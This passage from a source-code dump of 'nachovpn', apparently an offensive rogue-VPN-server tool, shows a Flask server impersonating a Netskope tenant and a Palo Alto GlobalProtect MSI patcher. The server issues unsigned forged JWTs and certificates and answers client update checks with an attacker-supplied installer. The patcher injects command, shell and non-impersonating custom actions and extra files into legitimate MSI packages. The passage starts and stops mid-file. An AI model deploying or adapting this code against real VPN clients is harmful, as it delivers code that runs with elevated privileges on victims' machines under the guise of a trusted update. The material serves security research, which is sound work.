\"push_tenant_ca_cert_key\": \"1\",\n                    \"reconfigureUser\": \"1\",\n                    \"remove_source_steering_exception\": \"0\",\n                    \"reportClientStatus\": \"0\",\n                    \"scim_attribute_control\": \"0\",\n                    \"scim_delete_disabled_user\": \"1\",\n                    \"scim_group_members\": \"0\",\n                    \"scim_mongo_case_insensitive_query\": \"1\",\n                    \"scim_nested_group_support\": \"0\",\n                    \"secureAccess\": \"1\",\n                    \"secure_config_validation\": \"0\",\n                    \"secure_enrollment_encryption_token_enabled\": \"1\",\n                    \"secure_enrollment_multiple_token_support_enabled\": \"0\",\n                    \"secure_enrollment_token_decoupling_enabled\": \"1\",\n                    \"sendDeviceInfo\": \"false\",\n                    \"service_profile_v2_enabled\": \"0\",\n                    \"sfCheck\": {\n                        \"SFCheckerHost\": self.tenant_config[\"sf_checker_host\"],\n                        \"SFCheckerIP\": \"8.8.8.8\",\n                        \"SFCheckerIP6\": \"2001:4860:4860:8888\"\n                    },\n                    \"simple_client_notification_enabled\": \"1\",\n                    \"sites_enabled\": \"1\",\n                    \"steer_all_cloud_apps\": \"0\",\n                    \"steering_categories_api_v2\": \"0\",\n                    \"steering_config_2\": \"1\",\n                    \"steering_domains_api_v2\": \"0\",\n                    \"steering_dynamicdomains_api_v2\": \"0\",\n                    \"steering_dynamicexceptions_api_v2\": \"0\",\n                    \"steering_dynamicpinnedapps_api_v2\": \"0\",\n                    \"steering_exceptions_api_v2\": \"0\",\n                    \"steering_match_criteria_improvements\": \"0\",\n                    \"steering_orgpac_api_v2\": \"0\",\n                    \"steering_pac_api_v2\": \"0\",\n                    \"steering_pinnedapps_api_v2\": \"0\",\n                    \"steering_post_api_v2\": \"0\",\n                    \"steering_private_apps_api_v2\": \"0\",\n                    \"steering_v2_enabled\": \"0\",\n                    \"stopTunnelOnSleep\": \"0\",\n                    \"storage_constraint_profile_api_rate_limit\": \"10\",\n                    \"supportUDPExceptions\": \"0\",\n                    \"support_more_tlv\": \"1\",\n                    \"support_ou_group_exceptions\": \"1\",\n                    \"synchronous_scim_server\": \"1\",\n                    \"traffic_mode\": \"web\",\n                    \"transaction_logs_enabled\": \"1\",\n                    \"uba_enabled\": \"0\",\n                    \"um_api_service_migration_high_usage\": \"0\",\n                    \"um_api_service_migration_low_usage\": \"0\",\n                    \"um_api_service_migration_medium_usage\": \"0\",\n                    \"um_clear_all_cache_async\": \"0\",\n                    \"um_clear_steering_cache\": \"0\",\n                    \"unified_ios_client\": \"1\",\n                    \"urp_enabled\": \"0\",\n                    \"useConfigVersion\": \"0\",\n                    \"useSerialNumberAsHostname\": \"0\",\n                    \"useWebView2\": \"1\",\n                    \"use_custom_primary_identifier_user\": \"0\",\n                    \"userNotification\": \"1\",\n                    \"user_manager_api_enabled\": \"0\",\n                    \"user_manager_for_group_memberships\": \"0\",\n                    \"user_manager_object_lock\": \"0\",\n                    \"validate_email_format\": \"1\",\n                    \"validateusertenant\": \"0\",\n                    \"versioned_steering\": \"1\"\n                }\n            elif userconfig == \"1\":\n                data = {\n                    \"autoUninstall\": \"0\",\n                    \"onpremcheck\": {\n                        \"onprem_additional_http_hosts\": [],\n                        \"onprem_additional_ips\": [],\n                        \"onprem_host\": \"\",\n                        \"onprem_http_host\": \"\",\n                        \"onprem_http_tcp_connection_timeout\": \"\",\n                        \"onprem_ip\": \"\",\n                        \"onprem_use_dns\": \"\"\n                    },\n                    \"privateApps\": {\n                        \"reauth\": {\n                            \"grace_period\": 0,\n                            \"interval\": 0\n                        },\n                        \"reauth_enabled\": \"false\"\n                    }\n                }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/config/getoverlappingdomainlist\", methods=[\"GET\"])\n        def getoverlappingdomainlist():\n            data = {\n                \"overlappingDomainList\": {\n                    \"1\": [\n                        \"example.co.uk\"\n                    ],\n                    \"2\": [\n                        \"example.net\"\n                    ],\n                    \"3\": [\n                        \"example.org\"\n                    ],\n                    \"4\": [\n                        \"example.com\"\n                    ]\n                },\n                \"status\": \"OK\"\n            }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/client/deviceclassification\", methods=[\"POST\"])\n        def deviceclassification():\n            data = {\n                \"status\": \"success\",\n                \"latest_modified_time\": self.timestamp(),\n                \"deviceClassification\": [\n                    [\n                        \"Test Laptops\"\n                    ],\n                    [\n                        -2\n                    ]\n                ]\n            }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/v2/update/clientstatus\", methods=[\"POST\"])\n        def clientstatus():\n            data = {\"status\": \"success\"}\n            return jsonify(data)\n\n        @self.flask_app.route(\"/v2/checkupdate\", methods=[\"GET\"])\n        def checkupdate():\n            os = request.args.get('os')\n            client_hash = self.tenant_config[\"client_hash\"]\n            client_version = self.tenant_config[\"client_version\"]\n            data = {}\n            if os == \"win\":\n                data = {\n                    \"version\": client_version,\n                    \"downloadurl\": f\"https://{self.dns_name}/dlr/{client_hash}?version={client_version}\",\n                    \"upload_timestamp\": int(time.time())\n                }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/api/clients\", methods=[\"POST\"])\n        def clients():\n            data = {\"errors\":[\"token jti not valid\"]}\n            return jsonify(data), 401\n\n        @self.flask_app.route(\"/api/v0.2/footprint/<id>\", methods=[\"GET\", \"POST\"])\n        def footprint(id):\n            data = {}\n            # TODO: fetch or minimise this data\n            if request.method == \"GET\":\n                data = {\n                    \"egress_ip\": \"1.2.3.4\",\n                    \"request_id\": self.request_id(),\n                    \"scope\": \"default\",\n                    \"version\": self.version_hex(),\n                    \"rtt_protocol\": \"tcp\",\n                    \"client_country\": \"GB\",\n                    \"pops\": [\n                        {\n                            \"name\": self.tenant_config[\"pop_name\"],\n                            \"distance\": 10.91245919002901,\n                            \"rtt_endpoints\": [\n                                {\n                                    \"ip\": self.external_ip,\n                                    \"port\": 443,\n                                    \"scheme\": \"http\",\n                                    \"path\": \"/\"\n                                },\n                            ],\n                            \"country\": \"GB\",\n                            \"in_country\": True,\n                            \"dp_gateway_fqdn\": self.tenant_config[\"dp_gateway_fqdn\"],\n                            \"ip_address\": self.external_ip\n                        }\n                    ]\n                }\n            elif request.method == \"POST\":\n                data = {\n                    \"egress_ip\": \"1.2.3.4\",\n                    \"request_id\": self.request_id(),\n                    \"scope\": \"default\",\n                    \"pops\": [\n                        {\n                            \"name\": self.tenant_config[\"pop_name\"],\n                            \"ip\": self.external_ip\n                        }\n                    ]\n                }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/api/v0.2/npa/footprint/<id>\", methods=[\"GET\", \"POST\"])\n        def npa_footprint(id):\n            data = {}\n            if request.method == \"GET\":\n                data = {\n                    \"egress_ip\": \"1.2.3.4\",\n                    \"request_id\": self.request_id(),\n                    \"scope\": \"npa\",\n                    \"version\": self.version_hex(),\n                    \"rtt_protocol\": \"tcp\",\n                    \"client_country\": \"GB\",\n                    \"pops\": [\n                        {\n                            \"name\": self.tenant_config[\"pop_name\"],\n                            \"distance\": 10.91245919002901,\n                            \"rtt_endpoints\": [\n                                {\n                                    \"ip\": self.external_ip,\n                                    \"port\": 443,\n                                    \"scheme\": \"http\",\n                                    \"path\": \"/\"\n                                },\n                                {\n                                    \"ip\": self.external_ip,\n                                    \"port\": 443,\n                                    \"scheme\": \"http\",\n                                    \"path\": \"/\"\n                                }\n                            ],\n                            \"country\": \"GB\",\n                            \"in_country\": True,\n                            \"npa_gateway_fqdn\": self.tenant_config[\"npa_gateway_host\"],\n                            \"npa_stitcher_fqdn\": self.tenant_config[\"stitcher_host\"],\n                            \"npa_gateway_ip\": self.external_ip,\n                            \"npa_stitcher_ip\": self.external_ip\n                        }\n                    ]\n                }\n            elif request.method == \"POST\":\n                data = {\n                    \"egress_ip\": \"1.2.3.4\",\n                    \"request_id\": self.request_id(),\n                    \"scope\": \"npa\",\n                    \"pops\": [\n                        {\n                            \"name\": self.tenant_config[\"pop_name\"],\n                            \"npa_gateway_ip\": self.external_ip,\n                            \"npa_gateway_fqdn\": self.tenant_config[\"npa_gateway_host\"],\n                            \"npa_stitcher_ip\": self.external_ip,\n                            \"npa_stitcher_fqdn\": self.tenant_config[\"stitcher_host\"],\n                            \"country\": \"GB\",\n                            \"in_country\": True\n                        }\n                    ]\n                }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/steering/categories\", methods=[\"GET\"])\n        def steering_categories():\n            data = {\n                \"status\": \"success\",\n                \"steering_config_name\": \"Test Steering Configuration\",\n                \"webcat_ids\": []\n            }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/v2/config/org/getmanagedchecks\", methods=[\"GET\"])\n        def getmanagedchecks():\n            data = {\n                \"device_classification_rules\": {\n                    \"win\": {\n                        \"domain_check\": {\n                            \"domains\": [\n                                \"nachovpn.local\"\n                            ]\n                        }\n                    }\n                },\n                \"latest_modified_time\": self.timestamp()\n            }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/steering/pinnedapps\", methods=[\"GET\"])\n        def pinnedapps():\n            data = {\n                \"certPinnedAppList\": [],\n                \"status\": \"success\",\n                \"steering_config_name\": \"Test Steering Configuration\"\n            }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/steering/exceptions\", methods=[\"GET\"])\n        def steering_exceptions():\n            data = {\n                \"fail_close\": {\n                    \"domains\": [],\n                    \"ips\": []\n                },\n                \"ips\": [],\n                \"names\": [],\n                \"protocols\": {},\n                \"status\": \"success\",\n                \"steering_config_name\": \"Test Steering Configuration\"\n            }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/config/org/cert\", methods=[\"GET\"])\n        def org_cert():\n            return Response(self.get_org_cert(), mimetype='application/x-pem-file', \n                headers={'Content-Disposition': 'attachment; filename=\"cert.pem\"'})\n\n        @self.flask_app.route(\"/config/ca/cert\", methods=[\"GET\"])\n        def ca_cert():\n            return Response(self.get_ca_cert(), mimetype='application/x-pem-file', \n                headers={'Content-Disposition': 'attachment; filename=\"cert.pem\"'})\n\n        @self.flask_app.route(\"/v2/config/user/cert\", methods=[\"GET\"])\n        def user_cert():\n            return Response(self.get_user_cert(), mimetype='application/x-pkcs12', \n                headers={'Content-Disposition': 'attachment; filename=\"nsusercert.p12\"'})\n\n        @self.flask_app.route(\"/v1/steering/domains\", methods=[\"GET\"])\n        def steering_domains():\n            data = {\n                \"bwan_apps_enabled\": 0,\n                \"bwan_apps_off_prem\": 0,\n                \"bwan_apps_on_prem\": 0,\n                \"bypass_option\": 0,\n                \"domain_ports\": {},\n                \"domains\": [\n                    self.tenant_config[\"addon_manager_host\"],\n                ],\n                \"dynamic_steering\": 0,\n                \"offprem_bypass_option\": 0,\n                \"offprem_steering_method\": 0,\n                \"offprem_steering_method_none\": 0,\n                \"onprem_bypass_option\": 0,\n                \"onprem_steering_method\": 0,\n                \"onprem_steering_method_none\": 0,\n                \"private_apps_enabled\": 1,\n                \"private_apps_enabled_specific\": 0,\n                \"private_apps_off_prem\": 0,\n                \"private_apps_off_prem_specific\": 0,\n                \"private_apps_on_prem\": 0,\n                \"private_apps_on_prem_specific\": 0,\n                \"private_apps_other_steering_method\": 0,\n                \"status\": \"success\",\n                \"steering_config_name\": \"Test Steering Configuration\",\n                \"steering_method_none\": 0,\n                \"traffic_mode\": \"web\"\n            }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/config/org/version\", methods=[\"GET\"])\n        def org_version():\n            return jsonify({\"config_version\": \"2025-03-05 14:01:01.629725\", \"status\": \"success\"})\n\n        @self.flask_app.route(\"/netskope/generate_command\", methods=[\"GET\"])\n        def generate_command():\n            \"\"\"\n            Generate a JWT token for the enrollment request\n            \"\"\"\n            token = jwt.encode(\n                {\n                    \"Iss\": \"client\",\n                    \"iat\": int(time.time()),\n                    \"exp\": int(time.time() + 3600),\n                    \"UserEmail\": self.tenant_config[\"user_email\"],\n                    \"OrgKey\": self.tenant_config[\"orgkey\"],\n                    \"AddonUrl\": self.tenant_config[\"addon_manager_host\"],\n                    \"TenantId\": self.tenant_config[\"tenant_id\"],\n                    \"nbf\": int(time.time() - 3600),\n                    \"UTCEpoch\": int(time.time()),\n                },\n                key=b\"\", algorithm=None)\n\n            command = {\n                \"148\": {\n                    \"tenantName\": self.tenant_config[\"tenant_name\"],\n                    \"idpTokenValue\": token\n                }\n            }\n            return jsonify(command)\n\n        @self.flask_app.route(\"/dlr/<download_hash>\", methods=[\"GET\"])\n        def download_client(download_hash):\n            download_file = os.path.join(self.payload_dir, \"STAgent.msi\")\n            if not os.path.exists(download_file):\n                abort(404)\n            return send_file(download_file, as_attachment=True)\n\n        @self.flask_app.route('/nsauth/client/authenticate', methods=[\"POST\", \"GET\"])\n        def authenticate():\n            token = jwt.encode(\n                {\n                    \"Iss\": \"authsvc\",\n                    \"OrgKey\": self.tenant_config[\"orgkey\"],\n                    \"UserEmail\": self.tenant_config[\"user_email\"],\n                    \"PopName\": self.tenant_config[\"pop_name\"],\n                    \"TenantId\": self.tenant_config[\"tenant_id\"],\n                    \"AddonUrl\": self.tenant_config[\"addon_manager_host\"],\n                    \"UTCEpoch\": int(time.time()),\n                    \"nbf\": int(time.time() - 3600),\n                    \"exp\": int(time.time() + 3600),\n                    \"tenant_rotation_state\": None,\n                    \"rotateCert\": False,\n                },\n                key=b\"\", algorithm=None)\n            html = self.render_template('auth.html', jwt_token=token)\n            return Response(html, mimetype='text/html')\n\n        @self.flask_app.route(\"/config/org/gettunnelpolicy\", methods=[\"GET\"])\n        def gettunnelpolicy():\n            return jsonify({\"status\":\"success\",\"tunnelPolicy\":[]})\n"
  },
  {
    "path": "src/nachovpn/plugins/netskope/templates/auth.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n        <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n        <title>Authentication Success</title>\n        <style>\n            body {\n            background-color: #EFEFEF;\n            color: #2E2F30;\n            text-align: center;\n            font-family: arial, sans-serif;\n            margin: 0;\n            }\n\n            div.dialog {\n            width: 95%;\n            max-width: 33em;\n            margin: 4em auto 0;\n            }\n\n            div.dialog > div {\n            margin: 0 0 1em;\n            padding: 1em;\n            background-color: #F7F7F7;\n            color: #666;\n            box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);\n            }\n        </style>\n    </script>\n    </head>\n    <body>\n        <div class=\"dialog\">\n            <div id=\"successMessage\">\n                <p>Authentication successful</p>\n                <p>Configuration will automatically be downloaded.</p>\n                <p>You are being redirected</p>\n            </div>\n        </div>\n        <div id=\"NsLoginStatus\" style=\"display: none;\" name=\"JWT_NSUserInformation\" value=\"{{ jwt_token }}\" > </div>\n    </body>\n</html>"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/__init__.py",
    "content": ""
  },
  {
    "path": "src/nachovpn/plugins/paloalto/msi_downloader.py",
    "content": "import xml.etree.ElementTree as ET\nimport argparse\nimport requests\nimport sys\nimport os\n\nclass MSIDownloader:\n    def __init__(self, output_dir):\n        self.xml_url = \"https://pan-gp-client.s3.amazonaws.com\"\n        self.x86_msi = \"GlobalProtect.msi\"\n        self.x64_msi = \"GlobalProtect64.msi\"\n        self.output_dir = output_dir\n\n    def get_latest_versions(self):\n        response = requests.get(self.xml_url)\n        response.raise_for_status()\n\n        root = ET.fromstring(response.content)\n        ns = {'s3': 'http://s3.amazonaws.com/doc/2006-03-01/'}\n\n        contents = root.findall('.//s3:Contents', ns)\n        x86_keys = [c.find('s3:Key', ns).text for c in contents if 'GlobalProtect.msi' in c.find('s3:Key', ns).text]\n        x64_keys = [c.find('s3:Key', ns).text for c in contents if 'GlobalProtect64.msi' in c.find('s3:Key', ns).text]\n\n        latest_version_x86 = sorted(x86_keys)[-1]\n        latest_version_x64 = sorted(x64_keys)[-1]\n\n        return latest_version_x86, latest_version_x64\n\n    def download_file(self, url, output_path):\n        print(f\"Downloading file from: {url}\")\n        response = requests.get(url, stream=True)\n        response.raise_for_status()\n\n        total_size = int(response.headers.get('content-length', 0))\n        block_size = 1024\n        current_size = 0\n\n        with open(output_path, 'wb') as f:\n            for data in response.iter_content(block_size):\n                current_size += len(data)\n                f.write(data)\n\n                # Calculate progress\n                if total_size:\n                    progress = int(50 * current_size / total_size)\n                    sys.stdout.write(f\"\\rDownloading: [{'=' * progress}{' ' * (50-progress)}] {current_size}/{total_size} bytes\")\n                    sys.stdout.flush()\n\n        # New line after progress bar\n        print()\n\n    def download_latest_msi(self):\n        latest_version_x86, latest_version_x64 = self.get_latest_versions()\n\n        x86_url = f\"{self.xml_url}/{latest_version_x86}\"\n        x64_url = f\"{self.xml_url}/{latest_version_x64}\"\n\n        print(f\"Downloading latest MSI files (version: {latest_version_x86.split('/')[0]})\")\n\n        # Download both MSI files\n        os.makedirs(self.output_dir, exist_ok=True)\n        x86_path = os.path.join(self.output_dir, self.x86_msi)\n        x64_path = os.path.join(self.output_dir, self.x64_msi)\n\n        print(f\"Downloading: {self.x86_msi}\")\n        self.download_file(x86_url, x86_path)\n\n        print(f\"Downloading: {self.x64_msi}\")\n        self.download_file(x64_url, x64_path)\n\n        # Verify downloads\n        if not os.path.getsize(x86_path) or not os.path.getsize(x64_path):\n            raise Exception(\"Failed to download MSI files\")\n\n        print(f\"Successfully downloaded {self.x86_msi} and {self.x64_msi}\")\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='Download GlobalProtect MSI files')\n    parser.add_argument('-o', '--output-dir', default=os.path.join(os.getcwd(), 'downloads'),\n                        help='Directory to store downloaded MSI files. Defaults to ./downloads/')\n    parser.add_argument('-f', '--force', action='store_true', help='Force download even if files exist')\n    group = parser.add_mutually_exclusive_group()\n    group.add_argument('-d', '--download', action='store_true', help='Download latest MSI files')\n    group.add_argument('-v', '--version', action='store_true', help='Show latest version information only')\n    args = parser.parse_args()\n\n    downloader = MSIDownloader(output_dir=args.output_dir)\n\n    if args.version:\n        x86_version, x64_version = downloader.get_latest_versions()\n        print(f\"Latest x86 version: {x86_version.split('/')[0]}\")\n        print(f\"Latest x64 version: {x64_version.split('/')[0]}\")\n\n    # Check if MSI files exist or if force download is enabled\n    elif args.download and (not os.path.exists(os.path.join(args.output_dir, \"GlobalProtect.msi\")) or \\\n       not os.path.exists(os.path.join(args.output_dir, \"GlobalProtect64.msi\")) or args.force):\n        x86_version, x64_version = downloader.get_latest_versions()\n        downloader.download_latest_msi()\n        with open(os.path.join(args.output_dir, \"msi_version.txt\"), \"w\") as f:\n            f.write(x64_version.split('/')[0])\n\n    else:\n        parser.print_help()\n"
  },
  {
    "path": "src/nachovpn/plugins/paloalto/msi_patcher.py",
    "content": "from cabarchive import CabArchive, CabFile\n\nimport logging\nimport argparse\nimport shutil\nimport os\nimport uuid\nimport warnings\nimport subprocess\nimport tempfile\nimport random\nimport string\nimport csv\nimport hashlib\n\nif os.name == 'nt':\n    warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n    import msilib\n\nACTION_TYPE_JSCRIPT = 6\nACTION_TYPE_CMD = 34\nACTION_TYPE_SHELL = 50\n\n# https://learn.microsoft.com/en-us/windows/win32/msi/custom-action-return-processing-options\nACTION_TYPE_CONTINUE = 0x40         # Don't fail the installation if the command fails\nACTION_TYPE_ASYNC = 0x80            # Don't wait for the command to complete - only relevant for EXE commands\n\n# https://learn.microsoft.com/en-us/windows/win32/msi/custom-action-in-script-execution-options\nACTION_TYPE_COMMIT = 0x200          # Only run once the files have been written to disk - useful for drop & exec\nACTION_TYPE_IN_SCRIPT = 0x400       # Schedule this as part of the installation process\nACTION_TYPE_NO_IMPERSONATE = 0x800  # Don't drop privs\n\nACTION_SEQUENCE_POSITION = 4999     # Fire the command after the files are written to disk by the installation process\n\ndef random_name(length=12):\n    return ''.join(random.choice(string.ascii_letters) for _ in range(length))\n\ndef random_hash():\n    return hashlib.md5(random_name().encode()).hexdigest().upper()\n\nclass MSIPatcher:\n    def get_msi_version(self, msi_path):\n        raise NotImplementedError\n\n    def increment_msi_version(self, msi_path):\n        raise NotImplementedError\n\n    def add_custom_action(self, msi_path, name, type, source, target, sequence):\n        raise NotImplementedError\n\n    def add_file(self, msi_path, file_path, component_name, feature_name):\n        raise NotImplementedError\n\nclass MSIPatcherWindows(MSIPatcher):\n    def get_msi_version(self, msi_path):\n        db = msilib.OpenDatabase(msi_path, msilib.MSIDBOPEN_READONLY)\n        view = db.OpenView(\"SELECT Value FROM Property WHERE Property='ProductVersion'\")\n        view.Execute(None)\n        result = view.Fetch()\n        version = result.GetString(1)\n        view.Close()\n        db.Close()\n        return version\n\n    def set_msi_version(self, msi_path, new_version, change_product_code=True):\n        db = msilib.OpenDatabase(msi_path, msilib.MSIDBOPEN_DIRECT)\n        view = db.OpenView(\"SELECT `Value` FROM `Property` WHERE `Property` = 'ProductVersion'\")\n        view.Execute(None)\n        record = view.Fetch()\n\n        current_version = None\n\n        if record:\n            current_version = record.GetString(1)\n            update_view = db.OpenView(\"UPDATE `Property` SET `Value` = ? WHERE `Property` = 'ProductVersion'\")\n            update_record = msilib.CreateRecord(1)\n            update_record.SetString(1, new_version)\n            update_view.Execute(update_record)\n            update_view.Close()\n            db.Commit()\n\n            if change_product_code:\n                new_product_code = '{' + str(uuid.uuid4()).upper() + '}'\n                product_code_view = db.OpenView(\"UPDATE `Property` SET `Value` = ? WHERE `Property` = 'ProductCode'\")\n                product_code_record = msilib.CreateRecord(1)\n                product_code_record.SetString(1, new_product_code)\n                product_code_view.Execute(product_code_record)\n                product_code_view.Close()\n                db.Commit()\n                logging.info(f\"New ProductCode: {new_product_code}\")\n\n            if current_version and new_version:\n                logging.info(f\"MSI version updated from {current_version} to {new_version}\")\n        else:\n            logging.error(\"ProductVersion property not found in MSI\")\n\n        view.Close()\n        db.Close()\n\n    def increment_msi_version(self, msi_path, change_product_code=True):\n        current_version = self.get_msi_version(msi_path)\n        if not current_version:\n            logging.error(\"ProductVersion property not found in MSI\")\n            return False\n\n        new_version = self.get_higher_version(current_version)\n        self.set_msi_version(msi_path, new_version, change_product_code)\n\n    def add_custom_action(self, msi_path, name, type, source, target, sequence):\n        db = msilib.OpenDatabase(msi_path, msilib.MSIDBOPEN_DIRECT)\n\n        # Create a property to store the source\n        source_key = random_name()\n        view = db.OpenView(\"INSERT INTO `Property` (`Property`, `Value`) VALUES (?, ?)\")\n        rec = msilib.CreateRecord(2)\n        rec.SetString(1, source_key)\n        rec.SetString(2, source)\n        view.Execute(rec)\n        view.Close()\n\n        # Create a new CustomAction record\n        ca = db.OpenView(\"INSERT INTO `CustomAction` \"\n                        \"(`Action`, `Type`, `Source`, `Target`) \"\n                        \"VALUES (?, ?, ?, ?)\")\n        rec = msilib.CreateRecord(4)\n\n        rec.SetString(1, name)          # Action\n        rec.SetInteger(2, type)         # Type\n        rec.SetString(3, source_key)    # Source\n        rec.SetString(4, target)        # Target\n        ca.Execute(rec)\n        ca.Close()\n        db.Commit()\n\n        # Schedule the CustomAction in the appropriate sequence\n        seq = db.OpenView(\"INSERT INTO `\" + sequence + \"` \"\n                        \"(`Action`, `Condition`, `Sequence`) \"\n                        \"VALUES (?, ?, ?)\")\n\n        rec = msilib.CreateRecord(3)\n        rec.SetString(1, name)          # Action\n        rec.SetString(2, \"\")            # Condition (probably want to use \"NOT Installed\")\n        rec.SetInteger(3, ACTION_SEQUENCE_POSITION)            # Sequence\n        seq.Execute(rec)\n        seq.Close()\n        db.Commit()\n\n        db.Close()\n        return True\n\n    def add_file(self, msi_path, file_path, component_name, feature_name):\n        db = msilib.OpenDatabase(msi_path, msilib.MSIDBOPEN_DIRECT)\n\n        file_name = os.path.basename(file_path)\n        file_key = f'_{random_hash()}'\n        component_key = f'C_{file_key}'\n        cab_name = f\"_{random_hash()}\"\n\n        # Create a new cabinet file\n        with tempfile.TemporaryDirectory() as temp_dir:\n            cab_path = os.path.join(temp_dir, cab_name)\n            self.create_cab_file(file_path, file_key, cab_path)\n\n            # Add cabinet as a stream\n            msilib.add_stream(db, cab_name, cab_path)\n\n        # Get the highest existing sequence number from the File table\n        max_sequence = 0\n        view = db.OpenView(\"SELECT `Sequence` FROM `File`\")\n        view.Execute(None)\n        while True:\n            rec = view.Fetch()\n            if not rec:\n                break\n            sequence = rec.GetInteger(1)\n            if sequence > max_sequence:\n                max_sequence = sequence\n        view.Close()\n\n        new_sequence = max_sequence + 1\n\n        # Add to File table\n        file_size = os.path.getsize(file_path)\n        view = db.OpenView(\"INSERT INTO `File` (`File`, `Component_`, `FileName`, `FileSize`, `Version`, `Language`, `Attributes`, `Sequence`) VALUES (?, ?, ?, ?, ?, ?, ?, ?)\")\n        rec = msilib.CreateRecord(8)\n        rec.SetString(1, file_key)\n        rec.SetString(2, component_key)\n        rec.SetString(3, file_name)\n        rec.SetInteger(4, file_size)\n        rec.SetString(5, '')\n        rec.SetString(6, '')\n        rec.SetInteger(7, 512)  # Attributes (compressed)\n        rec.SetInteger(8, new_sequence)\n        view.Execute(rec)\n        view.Close()\n\n        # Add to Component table\n        view = db.OpenView(\"INSERT INTO `Component` (`Component`, `ComponentId`, `Directory_`, `Attributes`, `Condition`, `KeyPath`) VALUES (?, ?, ?, ?, ?, ?)\")\n        rec = msilib.CreateRecord(6)\n        rec.SetString(1, component_key)\n        rec.SetString(2, '{' + str(uuid.uuid4()).upper() + '}')\n        rec.SetString(3, 'TARGETDIR')\n        rec.SetInteger(4, 256)    # Attributes\n        rec.SetString(5, '')\n        rec.SetString(6, file_key)\n        view.Execute(rec)\n        view.Close()\n\n        # Query the Feature table to get the Feature key\n        view = db.OpenView(\"SELECT `Feature` FROM `Feature`\")\n        view.Execute(None)\n        rec = view.Fetch()\n        if not rec:\n            feature_key = random_hash()\n            view = db.OpenView(\"INSERT INTO `Feature` (`Feature`, `Feature_Parent`, `Title`, `Description`, `Display`, `Level`, `Directory_`, `Attributes`) VALUES (?, ?, ?, ?, ?, ?, ?, ?)\")\n            rec = msilib.CreateRecord(8)\n            rec.SetString(1, feature_key)\n            rec.SetString(2, '')\n            rec.SetString(3, '')\n            rec.SetString(4, '')\n            rec.SetInteger(5, 2)\n            rec.SetString(6, 1)\n            rec.SetString(7, 'TARGETDIR')\n            rec.SetInteger(8, 0)\n            view.Execute(rec)\n        else:   \n            feature_key = rec.GetString(1)\n\n        view.Close()\n\n        # Add to FeatureComponents table\n        view = db.OpenView(\"INSERT INTO `FeatureComponents` (`Feature_`, `Component_`) VALUES (?, ?)\")\n        rec = msilib.CreateRecord(2)\n        rec.SetString(1, feature_key)\n        rec.SetString(2, component_key)\n        view.Execute(rec)\n        view.Close()\n\n        # Add new Media entry\n        logging.info(\"Adding new Media entry\")\n        max_disk_id = 0\n        view = db.OpenView(\"SELECT `DiskId` FROM `Media`\")\n        view.Execute(None)\n        while True:\n            rec = view.Fetch()\n            if not rec:\n                break\n            disk_id = rec.GetInteger(1)\n            if disk_id > max_disk_id:\n                max_disk_id = disk_id\n        view.Close()\n\n        logging.info(f\"Existing max DiskId: {max_disk_id}\")\n\n        new_disk_id = max_disk_id + 1\n        logging.info(f\"New DiskId: {new_disk_id}\")\n\n        view = db.OpenView(\"INSERT INTO `Media` (`DiskId`, `LastSequence`, `DiskPrompt`, `Cabinet`) VALUES (?, ?, ?, ?)\")\n        rec = msilib.CreateRecord(4)\n        rec.SetInteger(1, new_disk_id)\n        rec.SetInteger(2, new_sequence)\n        rec.SetString(3, '')\n        rec.SetString(4, f'#{cab_name}')\n        view.Execute(rec)\n        view.Close()\n\n        db.Commit()\n        db.Close()\n\n        logging.info(f\"Added file to MSI: {file_name}\")\n        logging.info(f\"File key: {file_key}\")\n        logging.info(f\"Component key: {component_key}\")\n        logging.info(f\"Sequence number: {new_sequence}\")\n        logging.info(f\"New Media entry: DiskId {new_disk_id}\")\n        return True\n\n    @staticmethod\n    def create_cab_file(file_path, file_key, output_path):\n        file_name = os.path.basename(file_path)\n        arc = CabArchive()\n        with open(file_path, 'rb') as f:\n            arc[file_key] = CabFile(f.read())\n        with open(output_path, 'wb') as f:\n            f.write(arc.save(True))\n\nclass MSIPatcherLinux(MSIPatcher):\n    def get_msi_version(self, msi_path):\n        with tempfile.TemporaryDirectory() as temp_dir:\n            subprocess.run(['msidump', '-d', temp_dir, msi_path], check=True)\n            property_file = os.path.join(temp_dir, 'Property.idt')\n            with open(property_file, 'r') as f:\n                reader = csv.reader(f, delimiter='\\t')\n                for row in reader:\n                    if row[0] == 'ProductVersion':\n                        return row[1]\n        return None\n\n    def increment_msi_version(self, msi_path, change_product_code=True):\n        current_version = self.get_msi_version(msi_path)\n        if not current_version:\n            logging.error(\"ProductVersion property not found in MSI\")\n            return False\n\n        new_version = self.get_higher_version(current_version)\n        self.set_msi_version(msi_path, new_version, change_product_code)\n\n    def set_msi_version(self, msi_path, new_version, change_product_code=True):\n        with tempfile.TemporaryDirectory() as temp_dir:\n            subprocess.run(['msidump', '-d', temp_dir, msi_path], check=True)\n\n            property_file = os.path.join(temp_dir, 'Property.idt')\n            updated_property_rows = []\n            current_version = None\n            new_product_code = None\n\n            with open(property_file, 'r') as f:\n                reader = csv.reader(f, delimiter='\\t')\n                for row in reader:\n                    if row[0] == 'ProductVersion':\n                        current_version = row[1]\n                        row[1] = new_version\n                    elif row[0] == 'ProductCode' and change_product_code:\n                        new_product_code = '{' + str(uuid.uuid4()).upper() + '}'\n                        row[1] = new_product_code\n                    updated_property_rows.append(row)\n\n            with open(property_file, 'w', newline='') as f:\n                writer = csv.writer(f, delimiter='\\t')\n                writer.writerows(updated_property_rows)\n\n            subprocess.run(['msibuild', msi_path, '-i', os.path.join(temp_dir, 'Property.idt')], check=True)\n\n        if current_version and new_version:\n            logging.info(f\"MSI version updated from {current_version} to {new_version}\")\n        if new_product_code:\n            logging.info(f\"New ProductCode: 